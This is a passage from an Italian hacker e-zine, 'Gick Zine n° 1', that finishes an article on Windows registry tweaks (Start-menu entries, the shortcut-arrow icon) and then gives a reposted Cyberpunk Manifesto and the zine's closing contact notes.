| c:\windows\notepad.exe |
| |
|Adesso premi F5 per ricaricare. Adesso se fai un click destro sul pulsante start|
|troverai una linea aggiunta al menu a comparsa chiamata notepad. Clickando su di|
|essa si lancia notepad. |
| |
|Noi possiamo non solo aggiungere, ma anche rimuovere opzioni esistenti in questo|
|menu a comparsa. |
| |
|Per cancellare l'opzione trova vai alla seguente chiave del registro: |
| |
| HKEY_CLASSES_ROOT\Directory\Shell\Find |
| |
|Cancella 'Find'. Non cancellare 'Open' o non sarai capace di aprire alcuna |
|cartella nel menu start come programmi, accessori, ecc.. |
| |
+--------------------------------------------------------------------------------+
| |
| - Customizzare la freccia dei collegamenti |
| |
|Tutti i collegamenti hanno una sottile freccia nera attaccata alla loro icona |
|per distinguerli dai files normali. Questa freccia può essere abbastanza noiosa |
|e poichè un hacker dovrebbe sapere come cambiare ogni cosa, andiamo avanti con |
|un altro trucco. Lancia l'editor del registro e vai a: |
| |
|HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\ShellIcons|
| |
|Adesso, sul pannello di destra c'è una lista di icone (abbiamo trovato che su |
|alcuni sistemi, specialmente win98, che il pannello di destra è vuoto. |
|Non temere, basta aggiungere i valori richiesti). Trova il valore 29 Se non c'è |
|aggiungilo. Il valore di questa stringa dovrebbe essere C:\Windows\system\ |
|shell32.dll, 29 (che significa la 30esima icona in shell32.dll - la prima delle |
|quali comincia con 0). Adesso, noi necessitiamo di un icona vuota per fare |
|questo, crea un icona che sia totalmente bianca. Una volta fatto cambia il va- |
|lore in c:\xxx.ico, 0 dove 'xxx' è il percorso completo del file icona e '0' è |
|l'icona in esso. |
| |
|Adesso per un pò di divertimento. Se l'icona bianca è un pò noiosa, cambiala |
|ancora, troverai che sotto shell32.dll c'è un molteplicità di icone, una cartel-|
|la condivisa (la mano) e molto altro. Sperimenta da te! |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
|Gick Zine n° 1 - [VARI] -=[10]=- |
|Manifesto CyberPunk Internet |
+--------------------------------------------------------------------------------+
| __ __ |
| _______ __/ /_ ___ _________ __ ______ / /__ |
| / ___/ / / / __ \/ _ \/ ___/ __ \/ / / / __ \/ //_/ |
| / /__/ /_/ / /_/ / __/ / / /_/ / /_/ / / / / ,< |
| \___/\__, /_.___/\___/_/ / .___/\__,_/_/ /_/_/|_| |
| /____/ /_/ |
| |
+--------------------------------------------------------------------------------+
| |
| Un Manifesto Cyberpunk tratto dalla rete |
| |
|Siamo le MENTI ELETTRONICHE, un gruppo di liberi pensatori ribelli. Cyberpunk. |
|Viviamo nel cyberspazio, siamo dappertutto, non conosciamo frontiere. |
|Questo e' il nostro manifesto. Il manifesto del cyberpunk. |
| |
+--------------------------------------------------------------------------------+
| |
| 1/ Siamo quelli, i Diversi. Ratti tecnologici, che nuotano nell'oceano |
| dell'informazione. |
| |
| 2/ Siamo quelli schivi, i ragazzini a scuola che siedono nell'ultimo banco, |
| nell'angolo della classe. |
| |
| 3/ Siamo i giovani che tutti considerano strani. |
| |
| 4/ Siamo gli studenti che hackano i sistemi, che esplorano la profondita' |
| della sua portata. |
| |
| 5/ Siamo quelli cresciuti nel parco, seduti su una panchina, con il portatile |
| sulle ginocchia, che programmano l'ultima realta' virtuale. |
| |
| 6/ Nostro e' il garage, riempito di aggeggi elettronici. Il saldatore |
| nell'angolo della scrivania e vicino la radio smontata - anche queste cose |
| sono nostre. Nostra e' la cantina con il computer, la stampante che ronza e |
| il modem che fa beep. |
| |
| 7/ Siamo quelli che vedono la realta' in un modo diverso. Il nostro punto di |
| vista mostra piu' di quello che la gente normale vede. Essi vedono solo |
| quello che e' esternamente, ma noi vediamo dentro. Questo e' quello che |
| siamo, realisti con gli occhiali dei sognatori. |
| |
| 8/ Siamo quelle strane persone, per la maggior parte sconosciute ai vicini. |
| Gente, assorta nei suoi pensieri, che siede tutti i giorni davanti al |
| computer, che mette a soqquadro la rete per qualcosa. Non usciamo spesso, |
| solo di tanto in tanto, solo per andare al vicino negozio di radiofonia, o |
| al solito bar per incontrare i pochi amici che abbiamo, o per incontrare un |
| cliente, o dal farmacista... o solo per una passeggiata. |
| |
| 9/ Non abbiamo molti amici, solo alcuni con cui andare alle feste. Tutti gli |
| altri che conosciamo, li conosciamo sulla rete. I nostri veri amici sono |
| li', all'altro capo del filo. Li conosciamo con il nostro canale di irc |
| preferito, con i news-groups, con i sistemi nei quali cazzeggiamo. |
| |
|10/ Siamo quelli a cui non importa cio' che gli altri pensano di noi, non ci |
| importa di come sembriamo o cosa la gente dice in nostra assenza. |
| |
|11/ La maggior parte di noi vive nascondendosi, non siamo conosciuti da nessuno |
| a parte quelli con cui dobbiamo per forza aver a che fare. |
| |
|12/ Gli altri adorano la pubblicita', adorano la fama. Sono tutti conosciuti |
| nel mondo dell'underground. I loro nomi risuonano spesso qui. Ma noi siamo |
| uniti da una cosa - siamo Cyberpunks. |
| |
|13/ La societa' non ci capisce, noi siamo "strani" e "pazzi" agli occhi della |
| gente normale che vive lontano dalla libera informazione e dalle libere |
| idee. La societa' impedisce la nostra corrente di pensiero - una societa' |
| che vive, pensa e respira in una unica maniera - uno stereotipo. |
| |
|14/ Ci rinnegano perche' pensiamo come gente libera, e il libero pensiero e' |
| proibito. |
| |
|15/ Il cyberpunk ha apparenze esteriori, e' non-movimento. I cyberpunks sono |
| persone, che partono dalla normalita', sconosciute agli altri, all'artista |
| tecno-maniaco, al musicista, allo studente superficiale, che suonano musica |
| elettronica. |
| |
|16/ Il cyberpunk non e' piu' un genere letterario, nemmeno una normale |
| sottocultura. Il cyberpunk e' una nuova cultura della solitudine, figlia di |
| una nuova generazione. Una cultura che unsce i nostri interessi e i nostri |
| punti di vista. Siamo un'unita'. Siamo Cyberpunks. |
| |
+--------------------------------------------------------------------------------+
____ _ _
/ ___|___ _ __ ___| |_ _ ___(_) ___ _ __ ___
| | / _ \| '_ \ / __| | | | / __| |/ _ \| '_ \ / _ \
| |__| (_) | | | | (__| | |_| \__ \ | (_) | | | | __/
\____\___/|_| |_|\___|_|\__,_|___/_|\___/|_| |_|\___|
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Conclusione] -=[#1]=- |
| Cenni Finali -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
|Bene, questo primo numero della Zine è giunto al termine, spero che sia stato |
|utile a qualcuno... |
| |
|Vi ricordo che siete tutti invitati a inviare i vostri articoli all'indirizzo: |
|articoli@gick.cjb.net |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Conclusione] -=[#2]=- |
| Dove Trovarci -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| Sito Web:www.gick.cjb.net |
| |
| e-m@il: mail@gick.cjb.net |
| |
| Per inviare gli articoli: articoli@gick.cjb.net |
| |
| Ciao a tutti e alla prossima puntata... |
| |
+--------------------------------------------------------------------------------+